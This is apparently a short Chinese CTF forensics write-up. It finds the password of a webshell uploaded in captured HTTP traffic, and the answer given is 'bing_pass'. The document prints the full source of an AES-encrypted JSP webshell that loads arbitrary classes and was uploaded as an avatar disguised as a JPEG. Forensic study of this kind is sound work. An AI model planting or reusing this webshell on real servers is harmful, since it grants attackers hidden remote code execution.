题目描述 #

关卡描述：黑客上传的webshell的密码是什么？

Flag #

上传成功的

tcp.stream eq 51

POST /api/upload HTTP/1.1
Host: 202.1.1.66:8080

--628c1882-2027-4c85-a009-e4cd41af99a9
Content-Disposition: form-data; name="avatar"; filename="pic.jsp"
Content-Type: image/jpeg
Content-Length: 17

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("bing_pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
--628c1882-2027-4c85-a009-e4cd41af99a9--

获得bing_pass